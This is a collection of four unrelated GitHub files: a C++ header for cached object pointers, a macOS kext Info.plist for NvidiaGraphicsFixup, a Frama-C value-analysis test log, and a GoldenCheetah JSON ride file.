#ifndef RAGE_UTIL_CACHED_OBJECT_H #define RAGE_UTIL_CACHED_OBJECT_H #include <set> template<typename T> class CachedObjectPointer; /** @brief Utilities for working with the <a class="el" href="class_cachedobject.html">CachedObjects</a>. */ namespace CachedObjectHelpers { void Lock(); void Unlock(); } /** @brief Cached object pointers with automatic invalidation. */ template<typename T> class CachedObject { public: CachedObject() : m_pObject(nullptr) { /* A new object is being constructed, so invalidate negative caching. */ ClearCacheNegative(); } CachedObject(const CachedObject& cpy) : m_pObject(nullptr) { ClearCacheNegative(); } ~CachedObject() { if (m_pObject != nullptr) ClearCacheSpecific(m_pObject); } auto operator=(const CachedObject& rhs) -> CachedObject& { return *this; } /* Clear all cached entries for this type. */ static void ClearCacheAll() { CachedObjectHelpers::Lock(); for (typename std::set<ObjectPointer*>::iterator p = m_spObjectPointers.begin(); p != m_spObjectPointers.end(); ++p) { (*p)->m_pCache = nullptr; (*p)->m_bCacheIsSet = false; } CachedObjectHelpers::Unlock(); } /* Clear all cached entries pointing to a specific object. */ static void ClearCacheSpecific(const T* pObject) { CachedObjectHelpers::Lock(); for (typename std::set<ObjectPointer*>::iterator p = m_spObjectPointers.begin(); p != m_spObjectPointers.end(); ++p) { if ((*p)->m_pCache == pObject) { (*p)->m_pCache = nullptr; (*p)->m_bCacheIsSet = false; } } CachedObjectHelpers::Unlock(); } /* Clear all negative cached entries of this type. */ static void ClearCacheNegative() { CachedObjectHelpers::Lock(); for (typename std::set<ObjectPointer*>::iterator p = m_spObjectPointers.begin(); p != m_spObjectPointers.end(); ++p) { if ((*p)->m_pCache == nullptr) (*p)->m_bCacheIsSet = false; } CachedObjectHelpers::Unlock(); } private: using ObjectPointer = CachedObjectPointer<T>; friend class CachedObjectPointer<T>; static void Register(ObjectPointer* p) { m_spObjectPointers.insert(p); } static void Unregister(ObjectPointer* p) { typename std::set<ObjectPointer*>::iterator it = m_spObjectPointers.find(p); ASSERT(it != m_spObjectPointers.end()); m_spObjectPointers.erase(it); } /* This points to the actual T this object is contained in. This is set * the first time CachedObjectPointer::Set() is called for this object. * That's more convenient than setting it ourselves; we don't need to * do anything special in T's copy ctor. This works because there's no * need to clear cache for an object before any CachedObjectPointers have * ever been set for it. */ const T* m_pObject; static std::set<ObjectPointer*> m_spObjectPointers; }; template<typename T> std::set<CachedObjectPointer<T>*> CachedObject<T>::m_spObjectPointers = std::set<CachedObjectPointer<T>*>(); template<typename T> class CachedObjectPointer { public: using Object = CachedObject<T>; CachedObjectPointer() : m_pCache(nullptr) { Object::Register(this); } CachedObjectPointer(const CachedObjectPointer& cpy) : m_pCache(cpy.m_pCache) , m_bCacheIsSet(cpy.m_bCacheIsSet) { CachedObjectHelpers::Lock(); Object::Register(this); CachedObjectHelpers::Unlock(); } ~CachedObjectPointer() { Object::Unregister(this); } auto Get(T** pRet) const -> bool { CachedObjectHelpers::Lock(); if (!m_bCacheIsSet) { CachedObjectHelpers::Unlock(); return false; } *pRet = m_pCache; CachedObjectHelpers::Unlock(); return true; } void Set(T* p) { CachedObjectHelpers::Lock(); m_pCache = p; m_bCacheIsSet = true; if (p != nullptr) p->m_CachedObject.m_pObject = p; CachedObjectHelpers::Unlock(); } void Unset() { CachedObjectHelpers::Lock(); m_pCache = nullptr; m_bCacheIsSet = false; CachedObjectHelpers::Unlock(); } private: friend class CachedObject<T>; T* m_pCache; bool m_bCacheIsSet{ false }; }; #endif
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>BuildMachineOSBuild</key> <string>16G29</string> <key>CFBundleDevelopmentRegion</key> <string>en</string> <key>CFBundleExecutable</key> <string>NvidiaGraphicsFixup</string> <key>CFBundleIdentifier</key> <string>as.lvs1974.NvidiaGraphicsFixup</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>NvidiaGraphicsFixup</string> <key>CFBundlePackageType</key> <string>KEXT</string> <key>CFBundleShortVersionString</key> <string>1.2.1</string> <key>CFBundleSignature</key> <string>????</string> <key>CFBundleSupportedPlatforms</key> <array> <string>MacOSX</string> </array> <key>CFBundleVersion</key> <string>1.2.1</string> <key>DTCompiler</key> <string>com.apple.compilers.llvm.clang.1_0</string> <key>DTPlatformBuild</key> <string>9A1004</string> <key>DTPlatformVersion</key> <string>GM</string> <key>DTSDKBuild</key> <string>17A360</string> <key>DTSDKName</key> <string>macosx10.13</string> <key>DTXcode</key> <string>0901</string> <key>DTXcodeBuild</key> <string>9A1004</string> <key>IOKitPersonalities</key> <dict> <key>as.lvs1974.NvidiaAudio</key> <dict> <key>CFBundleIdentifier</key> <string>as.lvs1974.NvidiaGraphicsFixup</string> <key>IOClass</key> <string>NVidiaAudio</string> <key>IOMatchCategory</key> <string>IOService</string> <key>IOPCIClassMatch</key> <string>0x04030000&amp;0xffff0000</string> <key>IOPCIMatch</key> <string>0x000010de&amp;0x0000ffff</string> <key>IOProbeScore</key> <integer>60000</integer> <key>IOProviderClass</key> <string>IOPCIDevice</string> </dict> <key>as.lvs1974.NvidiaGraphicsFixup</key> <dict> <key>CFBundleIdentifier</key> <string>as.lvs1974.NvidiaGraphicsFixup</string> <key>IOClass</key> <string>NvidiaGraphicsFixup</string> <key>IOMatchCategory</key> <string>NvidiaGraphicsFixup</string> <key>IOProviderClass</key> <string>IOResources</string> <key>IOResourceMatch</key> <string>IOKit</string> </dict> </dict> <key>NSHumanReadableCopyright</key> <string>Copyright © 2017 lvs1974. All rights reserved.</string> <key>OSBundleCompatibleVersion</key> <string>1.0</string> <key>OSBundleLibraries</key> <dict> <key>as.vit9696.Lilu</key> <string>1.2.0</string> <key>com.apple.kpi.bsd</key> <string>12.0.0</string> <key>com.apple.kpi.dsep</key> <string>12.0.0</string> <key>com.apple.kpi.iokit</key> <string>12.0.0</string> <key>com.apple.kpi.libkern</key> <string>12.0.0</string> <key>com.apple.kpi.mach</key> <string>12.0.0</string> <key>com.apple.kpi.unsupported</key> <string>12.0.0</string> </dict> <key>OSBundleRequired</key> <string>Root</string> </dict> </plist>
{ "pile_set_name": "Github" }
[kernel] Parsing tests/value/dur.i (no preprocessing) [eva] Analyzing a complete application starting at F2 [eva] Computing initial state [eva] Initial state computed [eva:initial-state] Values of globals at initialization G1 ∈ {0} G2 ∈ {0} G3 ∈ [--..--] G4{.M6; .M7; .M8; .M9; .M10; .M11; .M12; .M13; .M14; .M15; .M16; .M17; .M18; .M19; .M20; .M21; .M22; .M23; .M24; .M25; .M26[0..25]; .M27[0..12]; .M28[0..2]; .M29; .M30; .M31; .M32; .M33; .M34; .M35; .M36; .M37; .M38; .M39; .M40; .M41; .M42; .M43; .M44; .M45; .M46; .M47; .M48; .M49; .M50; .M51; .M52; .M53; .M54; .M55; .M56; .M57; .M58; .M59; .M60; .M61; .M62; .M63; .M64[0..26]; .M65[0..26]; .M66[0..47]; .M67[0..47]; .M68[0..47]; .M69[0..47]; .M70[0..47]; .M71[0..47]; .M72[0..47]; .M73[0..47]; .M74[0..9]} ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] G5{.M75; .[bits 16 to 31]} ∈ [--..--] .M76[0].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[0]{.M2; .M3} ∈ [--..--] .M76[1].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[1]{.M2; .M3} ∈ [--..--] .M76[2].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[2]{.M2; .M3} ∈ [--..--] .M76[3].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[3]{.M2; .M3} ∈ [--..--] .M76[4].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[4]{.M2; .M3} ∈ [--..--] .M76[5].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[5]{.M2; .M3} ∈ [--..--] .M76[6].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[6]{.M2; .M3} ∈ [--..--] .M76[7].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[7]{.M2; .M3} ∈ [--..--] .M76[8].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[8]{.M2; .M3} ∈ [--..--] .M76[9].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[9]{.M2; .M3} ∈ [--..--] .M76[10].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[10]{.M2; .M3} ∈ [--..--] .M76[11].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[11]{.M2; .M3} ∈ [--..--] .M76[12].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[12]{.M2; .M3} ∈ [--..--] .M76[13].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[13]{.M2; .M3} ∈ [--..--] .M76[14].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[14]{.M2; .M3} ∈ [--..--] .M76[15].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[15]{.M2; .M3} ∈ [--..--] .M76[16].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[16]{.M2; .M3} ∈ [--..--] .M76[17].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[17]{.M2; .M3} ∈ [--..--] .M76[18].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[18]{.M2; .M3} ∈ [--..--] .M76[19].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[19]{.M2; .M3} ∈ [--..--] .M76[20].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[20]{.M2; .M3} ∈ [--..--] .M76[21].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[21]{.M2; .M3} ∈ [--..--] .M76[22].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[22]{.M2; .M3} ∈ [--..--] .M76[23].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[23]{.M2; .M3} ∈ [--..--] .M76[24].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[24]{.M2; .M3} ∈ [--..--] .M76[25].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[25]{.M2; .M3} ∈ [--..--] .M76[26].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[26]{.M2; .M3} ∈ [--..--] .M76[27].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[27]{.M2; .M3} ∈ [--..--] .M76[28].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[28]{.M2; .M3} ∈ [--..--] .M76[29].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[29]{.M2; .M3} ∈ [--..--] .M76[30].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[30]{.M2; .M3} ∈ [--..--] .M76[31].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[31]{.M2; .M3} ∈ [--..--] .M76[32].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[32]{.M2; .M3} ∈ [--..--] .M76[33].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[33]{.M2; .M3} ∈ [--..--] .M76[34].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[34]{.M2; .M3} ∈ [--..--] .M76[35].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[35]{.M2; .M3} ∈ [--..--] .M76[36].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[36]{.M2; .M3} ∈ [--..--] .M76[37].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[37]{.M2; .M3} ∈ [--..--] .M76[38].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[38]{.M2; .M3} ∈ [--..--] .M76[39].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[39]{.M2; .M3} ∈ [--..--] .M76[40].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[40]{.M2; .M3} ∈ [--..--] .M76[41].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[41]{.M2; .M3} ∈ [--..--] .M76[42].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[42]{.M2; .M3} ∈ [--..--] .M76[43].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[43]{.M2; .M3} ∈ [--..--] .M76[44].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[44]{.M2; .M3} ∈ [--..--] .M76[45].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[45]{.M2; .M3} ∈ [--..--] .M76[46].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[46]{.M2; .M3} ∈ [--..--] .M76[47].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[47]{.M2; .M3} ∈ [--..--] .M76[48].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[48]{.M2; .M3} ∈ [--..--] .M76[49].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[49]{.M2; .M3} ∈ [--..--] .M76[50].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[50]{.M2; .M3} ∈ [--..--] .M76[51].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[51]{.M2; .M3} ∈ [--..--] .M76[52].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[52]{.M2; .M3} ∈ [--..--] .M77.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M77{.M2; .M3} ∈ [--..--] .M78.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M78{.M2; .M3} ∈ [--..--] .M79.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M79{.M2; .M3} ∈ [--..--] .M80.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M80{.M2; .M3} ∈ [--..--] .M81.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M81{.M2; .M3} ∈ [--..--] .M82.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M82{.M2; .M3} ∈ [--..--] .M83.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M83{.M2; .M3} ∈ [--..--] .M84.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M84{.M2; .M3} ∈ [--..--] .M85.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M85{.M2; .M3} ∈ [--..--] .M86.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M86{.M2; .M3} ∈ [--..--] .M87.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M87{.M2; .M3} ∈ [--..--] .M88.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M88{.M2; .M3} ∈ [--..--] .M89.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] {.M89{.M2; .M3}; .M90[0..3]; .M91} ∈ [--..--] .M92[0].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M92[0]{.M2; .M3} ∈ [--..--] .M92[1].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M92[1]{.M2; .M3} ∈ [--..--] .M92[2].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M92[2]{.M2; .M3} ∈ [--..--] .M92[3].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M92[3]{.M2; .M3} ∈ [--..--] .M92[4].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M92[4]{.M2; .M3} ∈ [--..--] .M92[5].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] {.M92[5]{.M2; .M3}; .M93[0..4]} ∈ [--..--] G6 ∈ [--..--] G7[0..160] ∈ [--..--] [eva] tests/value/dur.i:167: starting to merge loop iterations [eva] Recording results for F2 [eva] done for function F2 [eva] ====== VALUES COMPUTED ====== [eva:final-states] Values at end of function F2: G5.M75 ∈ [0..255] .[bits 16 to 31] ∈ [--..--] .M76[0].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[0]{.M2; .M3} ∈ [--..--] .M76[1].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[1]{.M2; .M3} ∈ [--..--] .M76[2].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[2]{.M2; .M3} ∈ [--..--] .M76[3].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[3]{.M2; .M3} ∈ [--..--] .M76[4].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[4]{.M2; .M3} ∈ [--..--] .M76[5].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[5]{.M2; .M3} ∈ [--..--] .M76[6].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[6]{.M2; .M3} ∈ [--..--] .M76[7].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[7]{.M2; .M3} ∈ [--..--] .M76[8].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[8]{.M2; .M3} ∈ [--..--] .M76[9].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[9]{.M2; .M3} ∈ [--..--] .M76[10].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[10]{.M2; .M3} ∈ [--..--] .M76[11].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[11]{.M2; .M3} ∈ [--..--] .M76[12].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[12]{.M2; .M3} ∈ [--..--] .M76[13].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[13]{.M2; .M3} ∈ [--..--] .M76[14].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[14]{.M2; .M3} ∈ [--..--] .M76[15].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[15]{.M2; .M3} ∈ [--..--] .M76[16].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[16]{.M2; .M3} ∈ [--..--] .M76[17].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[17]{.M2; .M3} ∈ [--..--] .M76[18].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[18]{.M2; .M3} ∈ [--..--] .M76[19].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[19]{.M2; .M3} ∈ [--..--] .M76[20].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[20]{.M2; .M3} ∈ [--..--] .M76[21].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[21]{.M2; .M3} ∈ [--..--] .M76[22].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[22]{.M2; .M3} ∈ [--..--] .M76[23].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[23]{.M2; .M3} ∈ [--..--] .M76[24].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[24]{.M2; .M3} ∈ [--..--] .M76[25].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[25]{.M2; .M3} ∈ [--..--] .M76[26].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[26]{.M2; .M3} ∈ [--..--] .M76[27].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[27]{.M2; .M3} ∈ [--..--] .M76[28].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[28]{.M2; .M3} ∈ [--..--] .M76[29].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[29]{.M2; .M3} ∈ [--..--] .M76[30].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[30]{.M2; .M3} ∈ [--..--] .M76[31].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[31]{.M2; .M3} ∈ [--..--] .M76[32].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[32]{.M2; .M3} ∈ [--..--] .M76[33].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[33]{.M2; .M3} ∈ [--..--] .M76[34].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[34]{.M2; .M3} ∈ [--..--] .M76[35].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[35]{.M2; .M3} ∈ [--..--] .M76[36].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[36]{.M2; .M3} ∈ [--..--] .M76[37].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[37]{.M2; .M3} ∈ [--..--] .M76[38].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[38]{.M2; .M3} ∈ [--..--] .M76[39].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[39]{.M2; .M3} ∈ [--..--] .M76[40].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[40]{.M2; .M3} ∈ [--..--] .M76[41].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[41]{.M2; .M3} ∈ [--..--] .M76[42].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[42]{.M2; .M3} ∈ [--..--] .M76[43].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[43]{.M2; .M3} ∈ [--..--] .M76[44].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[44]{.M2; .M3} ∈ [--..--] .M76[45].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[45]{.M2; .M3} ∈ [--..--] .M76[46].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[46]{.M2; .M3} ∈ [--..--] .M76[47].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[47]{.M2; .M3} ∈ [--..--] .M76[48].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[48]{.M2; .M3} ∈ [--..--] .M76[49].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[49]{.M2; .M3} ∈ [--..--] .M76[50].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[50]{.M2; .M3} ∈ [--..--] .M76[51].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[51]{.M2; .M3} ∈ [--..--] .M76[52].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M76[52]{.M2; .M3} ∈ [--..--] .M77.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M77{.M2; .M3} ∈ [--..--] .M78.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M78{.M2; .M3} ∈ [--..--] .M79.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M79{.M2; .M3} ∈ [--..--] .M80.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M80{.M2; .M3} ∈ [--..--] .M81.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M81{.M2; .M3} ∈ [--..--] .M82.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M82{.M2; .M3} ∈ [--..--] .M83.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M83{.M2; .M3} ∈ [--..--] .M84.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M84{.M2; .M3} ∈ [--..--] .M85.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M85{.M2; .M3} ∈ [--..--] .M86.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M86{.M2; .M3} ∈ [--..--] .M87.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M87{.M2; .M3} ∈ [--..--] .M88.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M88{.M2; .M3} ∈ [--..--] .M89.M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] {.M89{.M2; .M3}; .M90[0..3]; .M91} ∈ [--..--] .M92[0].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M92[0]{.M2; .M3} ∈ [--..--] .M92[1].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M92[1]{.M2; .M3} ∈ [--..--] .M92[2].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M92[2]{.M2; .M3} ∈ [--..--] .M92[3].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M92[3]{.M2; .M3} ∈ [--..--] .M92[4].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] .M92[4]{.M2; .M3} ∈ [--..--] .M92[5].M1 ∈ [-1.9999998807907104*2^127 .. 1.9999998807907104*2^127] {.M92[5]{.M2; .M3}; .M93[0..4]} ∈ [--..--] V5 ∈ {4} or UNINITIALIZED V6 ∈ [--..--] or UNINITIALIZED V7 ∈ [0..65532],0%2 or UNINITIALIZED [from] Computing for function F2 [from] Done for function F2 [from] ====== DEPENDENCIES COMPUTED ====== These dependencies hold at termination for the executions that terminate: [from] Function F2: G5.M75 FROM G3 {.M90[0].M4; .M90[1].M4; .M90[2].M4; .M90[3].M4} FROM G1; G2; V8 (and SELF) {.M90[0].M5; .M90[1].M5; .M90[2].M5; .M90[3].M5} FROM G2; V8 (and SELF) .M91.M4 FROM G6{.M96[0]; .M97[0]}; V8 (and SELF) .M91.M5 FROM G6.M97[0]; V8 (and SELF) [from] ====== END OF DEPENDENCIES ====== [inout] Out (internal) for function F2: G5{.M75; {.M90[0..3]; .M91}}; V5; V6; V7 [inout] Inputs for function F2: G1; G2; G3; G5{.M90[0].M4; .M90[1].M4; .M90[2].M4; .M90[3].M4}; G6{.M96[0]; .M97[0]}
{ "pile_set_name": "Github" }
{ "RIDE":{ "STARTTIME":"2013\/05\/27 07:56:35 UTC", "RECINTSECS":1, "DEVICETYPE":"PowerTap", "IDENTIFIER":"", "TAGS":{ "Athlete":"Mark Liversedge", "Calendar Text":"An incredibly short ride to test bugs in array offset processing in GC\nTest Bugs in GC\n", "Change History":"Changes on Mon May 27 08:57:42 2013:\n", "Data":"TDSPHC------", "Device":"PowerTap", "Device Info":"Generated in train mode", "File Format":"PowerTap CSV (csv)", "Filename":"2013_05_27_08_56_35.csv", "Month":"May", "Notes":"An incredibly short ride to test bugs in array offset processing in GC", "Objective":"Test Bugs in GC", "Sport":"Bike", "Weekday":"Mon", "Workout Code":"Short", "Year":"2013" }, "SAMPLES":[ { "SECS":1.003, "KM":0.00427778, "WATTS":95, "CAD":84, "KPH":27, "HR":143 }, { "SECS":2.003, "KM":0.0112778, "WATTS":65, "CAD":84, "KPH":25, "HR":144 }, { "SECS":3.003, "KM":0.0181111, "WATTS":59, "CAD":82, "KPH":25, "HR":143 }, { "SECS":4.003, "KM":0.0250556, "WATTS":77, "CAD":82, "KPH":27, "HR":144 }, { "SECS":5.003, "KM":0.0321111, "WATTS":55, "CAD":81, "KPH":23, "HR":145 }, { "SECS":6.003, "KM":0.0386667, "WATTS":57, "CAD":84, "KPH":27, "HR":145 }, { "SECS":7.00302, "KM":0.0458889, "WATTS":57, "CAD":81, "KPH":26, "HR":144 }, { "SECS":8.00298, "KM":0.0529444, "WATTS":77, "CAD":87, "KPH":27, "HR":143 }, { "SECS":9.003, "KM":0.06, "WATTS":55, "CAD":81, "KPH":26, "HR":144 }, { "SECS":10.003, "KM":0.0671667, "WATTS":70, "CAD":82, "KPH":23, "HR":145 }, { "SECS":11.003, "KM":0.0741667, "WATTS":72, "CAD":88, "KPH":23, "HR":143 }, { "SECS":12.003, "KM":0.0809444, "WATTS":79, "CAD":86, "KPH":25, "HR":144 } ] } }
